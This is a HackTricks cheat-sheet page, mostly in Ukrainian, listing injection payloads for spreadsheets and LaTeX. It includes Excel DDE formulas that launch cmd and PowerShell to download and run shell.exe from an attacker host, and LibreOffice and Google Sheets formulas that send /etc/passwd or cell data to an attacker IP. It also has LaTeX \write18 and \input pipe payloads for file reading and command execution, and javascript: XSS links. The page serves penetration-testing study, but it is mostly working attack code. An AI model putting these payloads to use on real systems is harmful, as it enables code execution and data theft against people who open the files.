15 KiB
Formula/CSV/Doc/LaTeX/GhostScript Injection
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Formula Injection
Info
Якщо ваш вхід відображається всередині CSV файлів (або будь-якого іншого файлу, який, ймовірно, буде відкритий в Excel), ви, можливо, зможете вставити формули Excel, які будуть виконані, коли користувач відкриває файл або коли користувач натискає на деяке посилання всередині аркуша Excel.
{% hint style="danger" %} Сьогодні Excel попередить (декілька разів) користувача, коли щось завантажується ззовні Excel, щоб запобігти йому від злочинних дій. Тому необхідно докласти особливих зусиль у соціальному інженерії для фінального payload. {% endhint %}
Wordlist
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
Hyperlink
Наступний приклад є дуже корисним для ексфільтрації вмісту з фінальної таблиці Excel та для виконання запитів до довільних місць. Але це вимагає, щоб користувач натиснув на посилання (і прийняв попередження).
Наступний приклад був взятий з https://payatu.com/csv-injection-basic-to-exploit
Уявіть, що у системі управління записами студентів сталася витік безпеки, який був використаний через атаку CSV injection. Основна мета зловмисника - скомпрометувати систему, яку використовують вчителі для управління даними студентів. Метод полягає в тому, що зловмисник вводить шкідливий код у додаток, зокрема, вводячи шкідливі формули у поля, призначені для даних студентів. Атака розгортається наступним чином:
- Введення шкідливого коду:
- Зловмисник подає форму даних студента, але включає формулу, яка зазвичай використовується в електронних таблицях (наприклад,
=HYPERLINK("<malicious_link>","Click here")
). - Ця формула призначена для створення гіперпосилання, але вона вказує на шкідливий сервер, контрольований зловмисником.
- Експорт скомпрометованих даних:
- Вчителі, не підозрюючи про компрометацію, використовують функціональність додатка для експорту даних у файл CSV.
- Файл CSV, коли його відкривають, все ще містить шкідливий код. Цей код з'являється як клікабельне гіперпосилання в електронній таблиці.
- Активація атаки:
- Вчитель натискає на гіперпосилання, вважаючи його легітимною частиною даних студента.
- Після натискання чутливі дані (можливо, включаючи деталі з електронної таблиці або комп'ютера вчителя) передаються на сервер зловмисника.
- Логування даних:
- Сервер зловмисника отримує та реєструє чутливі дані, надіслані з комп'ютера вчителя.
- Зловмисник може потім використовувати ці дані для різних шкідливих цілей, ще більше компрометуючи конфіденційність і безпеку студентів та установи.
RCE
Перевірте оригінальний пост для отримання додаткових деталей.
У специфічних конфігураціях або старіших версіях Excel функція, званий Динамічний обмін даними (DDE), може бути використана для виконання довільних команд. Щоб скористатися цим, необхідно активувати наступні налаштування:
- Перейдіть до Файл → Параметри → Центр управління безпекою → Налаштування Центру управління безпекою → Зовнішній вміст, і активуйте Запуск сервера динамічного обміну даними.
Коли електронна таблиця з шкідливим кодом відкривається (і якщо користувач приймає попередження), код виконується. Наприклад, щоб запустити програму калькулятора, код буде:
=cmd|' /C calc'!xxx
Додаткові команди також можуть бути виконані, такі як завантаження та виконання файлу за допомогою PowerShell:
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
Local File Inclusion (LFI) in LibreOffice Calc
LibreOffice Calc може бути використаний для читання локальних файлів та ексфільтрації даних. Ось кілька методів:
- Читання першого рядка з локального файлу
/etc/passwd
:='file:///etc/passwd'#$passwd.A1
- Ексфільтрація прочитаних даних на сервер, контрольований зловмисником:
=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
- Ексфільтрація більше ніж одного рядка:
=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
- DNS ексфільтрація (відправка прочитаних даних як DNS запити на сервер DNS, контрольований зловмисником):
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))
Google Sheets for Out-of-Band (OOB) Data Exfiltration
Google Sheets пропонує функції, які можуть бути використані для OOB ексфільтрації даних:
- CONCATENATE: Об'єднує рядки -
=CONCATENATE(A2:E2)
- IMPORTXML: Імпортує дані з структурованих типів даних -
=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
- IMPORTFEED: Імпортує RSS або ATOM стрічки -
=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
- IMPORTHTML: Імпортує дані з HTML таблиць або списків -
=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
- IMPORTRANGE: Імпортує діапазон клітинок з іншої таблиці -
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
- IMAGE: Вставляє зображення в клітинку -
=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")
LaTeX Injection
Зазвичай сервери, які можна знайти в інтернеті, що перетворюють LaTeX код на PDF, використовують pdflatex
.
Ця програма використовує 3 основні атрибути для (не)дозволу виконання команд:
--no-shell-escape
: Вимкнути конструкцію\write18{command}
, навіть якщо вона увімкнена у файлі texmf.cnf.--shell-restricted
: Те ж саме, що і--shell-escape
, але обмежено до 'безпечного' набору попередньо визначених **команд (**На Ubuntu 16.04 список знаходиться в/usr/share/texmf/web2c/texmf.cnf
).--shell-escape
: Увімкнути конструкцію\write18{command}
. Команда може бути будь-якою командою оболонки. Ця конструкція зазвичай заборонена з міркувань безпеки.
Однак є й інші способи виконання команд, тому, щоб уникнути RCE, дуже важливо використовувати --shell-restricted
.
Read file
Вам може знадобитися налаштувати ін'єкцію з обгортками, такими як [ або $.
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
Прочитати файл з одного рядка
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
Читання файлу з кількома рядками
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
Записати файл
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
Виконання команд
Вхідні дані команди будуть перенаправлені до stdin, використовуйте тимчасовий файл, щоб їх отримати.
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
Якщо ви отримаєте будь-яку помилку LaTex, розгляньте можливість використання base64, щоб отримати результат без поганих символів.
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}
Cross Site Scripting
Від @EdOverflow
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
Ghostscript Injection
Перевірте https://blog.redteam-pentesting.de/2023/ghostscript-overview/
References
- https://notsosecure.com/data-exfiltration-formula-injection-part1
- https://0day.work/hacking-with-latex/
- https://salmonsec.com/cheatsheet/latex_injection
- https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.